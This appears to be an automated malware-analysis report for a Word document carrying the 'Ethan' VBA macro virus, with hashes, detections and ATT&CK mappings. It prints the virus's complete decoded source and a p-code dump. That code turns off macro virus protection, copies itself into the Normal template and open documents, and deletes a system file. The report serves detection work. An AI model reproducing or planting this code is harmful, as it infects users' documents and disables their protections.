Office (OLE) malware analysis — malicious · 781cafe4f37d27f9

MALICIOUS

Office (OLE)

130.0 KB Created: 2003-12-11 08:22:00 Authoring application: Microsoft Word 8.0 First seen: 2015-05-29

MD5: 868f05e607cf81cb0dcdbeea77113829 SHA-1: c04e77b6de622305378ab1d0ebae63e54fca11a6 SHA-256: 781cafe4f37d27f9b79a9877fe16f9d10a270de10a54eb22ac96121ec1debd12

200 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The script attempts to write its code to the Normal template and a file named 'c:\ethan.___', indicating a self-replication and persistence attempt. It also attempts to disable virus protection settings. The ClamAV detection 'Doc.Trojan.Ethan-20' further supports its malicious nature.

Heuristics 3

ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Ethan-20
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
t.CodeModule.InsertLines i, a
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6213 bytes
SHA-256: `5ff2e1d8af27b260057d08c6fcfc4e6fd95fa75bd5b18b244f700270e74d188d`
Detection ClamAV: Doc.Trojan.Ethan-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Close() On Error Resume Next s = ActiveDocument.Saved Application.EnableCancelKey = Not -1 With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With Randomize If Dir("c:\ethan.___", 6) = "" Then Open "c:\ethan.___" For Output As #1 For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1) Print #1, a Next i Close #1 SetAttr "c:\ethan.___", 6 End If If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys" If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then Set t = NormalTemplate.VBProject.VBComponents.Item(1) ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then Set t = ActiveDocument.VBProject.VBComponents.Item(1) Else t = "" End If If t <> "" Then Open "c:\ethan.___" For Input As #1 If LOF(1) = 0 Then GoTo q i = 1 Do While Not EOF(1) Line Input #1, a t.CodeModule.InsertLines i, a i = i + 1 Loop q: Close #1 If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s End Sub ' Processing file: /opt/analyzer/scan_staging/dd26cc0180774024aa721481dec531be.bin ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 3301 bytes ' Line #0: ' FuncDefn (Private Sub Document_Close()) ' Line #1: ' OnError (Resume Next) ' Line #2: ' Ld ActiveDocument ' MemLd Saved ' St s ' Line #3: ' LitDI2 0x0001 ' UMi ' Not ' Ld Application ' MemSt EnableCancelKey ' Line #4: ' StartWithExpr ' Ld Options ' With ' BoS 0x0000 ' LitDI2 0x0000 ' MemStWith ConfirmConversions ' BoS 0x0000 ' LitDI2 0x0000 ' MemStWith VirusProtection ' BoS 0x0000 ' LitDI2 0x0000 ' MemStWith SaveNormalPrompt ' BoS 0x0000 ' EndWith ' Line #5: ' ArgsCall Read 0x0000 ' Line #6: ' LitStr 0x000C "c:\ethan.___" ' LitDI2 0x0006 ' ArgsLd Dir 0x0002 ' LitStr 0x0000 "" ' Eq ' IfBlock ' Line #7: ' LitStr 0x000C "c:\ethan.___" ' LitDI2 0x0001 ' Sharp ' LitDefault ' Open (For Output) ' Line #8: ' StartForVariable ' Ld i ' EndForVariable ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld MacroContainer ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' MemLd CountOfLines ' For ' Line #9: ' Ld i ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld MacroContainer ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' St a ' Line #10: ' LitDI2 0x0001 ' Sharp ' PrintChan ' Ld a ' PrintItemNL ' Line #11: ' StartForVariable ' Ld i ' EndForVariable ' NextVar ' Line #12: ' LitDI2 0x0001 ' Sharp ' Close 0x0001 ' Line #13: ' LitStr 0x000C "c:\ethan.___" ' LitDI2 0x0006 ' ArgsCall SetAttr 0x0002 ' Line #14: ' EndIfBlock ' Line #15: ' LitStr 0x000C "c:\class.sys" ' ArgsLd Dir 0x0001 ' LitStr 0x0000 "" ' Ne ' If ' BoSImplicit ' LitStr 0x000C "c:\class.sys" ' ArgsCall Kill 0x0001 ' EndIf ' Line #16: ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' LitStr 0x001C "Private Sub Document_Close()" ' Ne ' IfBlock ' Line #17: ' SetStmt ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set t ' Line #18: ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' LitStr 0x001C "Private Sub Document_Close()" ' Ne ' ElseIfBlock ' Line #19: ' SetStmt ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set t ' Line #20: ' ElseBlock ' Line #21: ' LitStr 0x0000 "" ' St t ' Line #22: ' EndIfBlock ' Line #23: ' Ld t ' LitStr 0x0000 "" ' Ne ' IfBlock ' Line #24: ' LitStr 0x000C "c:\ethan.___" ' LitDI2 0x0001 ' Sharp ' LitDefault ' Open (For Input) ' Line #25: ' LitDI2 0x0001 ' ArgsLd LOF 0x0001 ' LitDI2 0x0000 ' Eq ' If ' BoSImplicit ' GoTo q ' EndIf ' Line #26: ' LitDI2 0x0001 ' St i ' Line #27: ' LitDI2 0x0001 ' ArgsLd EOF 0x0001 ' Not ' DoWhile ' Line #28: ' LitDI2 0x0001 ' Ld a ' LineInput ' Line #29: ' Ld i ' Ld a ' Ld t ' MemLd CodeModule ' ArgsMemCall InsertLines 0x0002 ' Line #30: ' Ld i ' LitDI2 0x0001 ' Add ' St i ' Line #31: ' Loop ' Line #32: ' Label q ' Line #33: ' LitDI2 0x0001 ' Sharp ' Close 0x0001 ' Line #34: ' Ld Rnd ' LitR8 0x3333 0x3333 0x3333 0x3FD3 ' Lt ' If ' BoSImplicit ' StartWithExpr ' Ld wdDialogFileSummaryInfo ' ArgsLd Dialogs 0x0001 ' With ' BoS 0x0000 ' LitStr 0x000B "Ethan Frome" ' MemStWith Title ' BoS 0x0000 ' LitStr 0x0008 "EW/LN/CB" ' MemStWith Author ' BoS 0x0000 ' LitStr 0x0005 "Ethan" ' MemStWith Keywords ' BoS 0x0000 ' ArgsMemCallWith Execute 0x0000 ' BoS 0x0000 ' EndWith ' EndIf ' Line #35: ' Ld ActiveDocument ' MemLd New ' LitDI2 0x0008 ' ArgsLd LBound 0x0002 ' LitStr 0x0008 "Document" ' Ne ' If ' BoSImplicit ' Ld ActiveDocument ' MemLd FullName ' ParamNamed FileName ' Ld ActiveDocument ' ArgsMemCall SaveAs 0x0001 ' EndIf ' Line #36: ' EndIfBlock ' Line #37: ' Ld ActiveDocument ' MemLd Saved ' Ld s ' Ne ' If ' BoSImplicit ' Ld s ' Ld ActiveDocument ' MemSt Saved ' EndIf ' Line #38: ' EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.